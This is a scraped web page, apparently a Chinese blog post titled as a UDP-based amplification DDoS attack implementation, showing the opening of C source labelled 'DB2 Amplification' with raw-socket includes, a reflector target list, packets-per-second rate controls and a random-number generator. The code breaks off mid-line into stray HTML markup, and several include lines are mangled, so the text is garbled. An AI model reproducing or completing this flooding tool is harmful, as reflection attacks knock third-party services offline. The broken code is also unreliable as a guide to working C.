- /* DB2 Amplification */
- #include <time .h>
- #include <pthread .h>
- #include <unistd .h>
- #include <stdio .h>
- #include <stdlib .h>
- #include <string .h>
- #include <sys /socket.h>
- #include <netinet /ip.h>
- #include </netinet><netinet /udp.h>
- #include <arpa /inet.h>
- #define MAX_PACKET_SIZE 8192
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct list
- {
- struct sockaddr_in data;
- struct list *next;
- struct list *prev;
- };
- struct list *head;
- volatile int tehport;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- {
- Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >><span class="pln" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; outline: 0px; font-weight: inherit; font-style: inherit; vertical-align: baseli
UDP-Based Amplification DDOS攻击代码实现
最新推荐文章于 2023-09-29 15:21:16 发布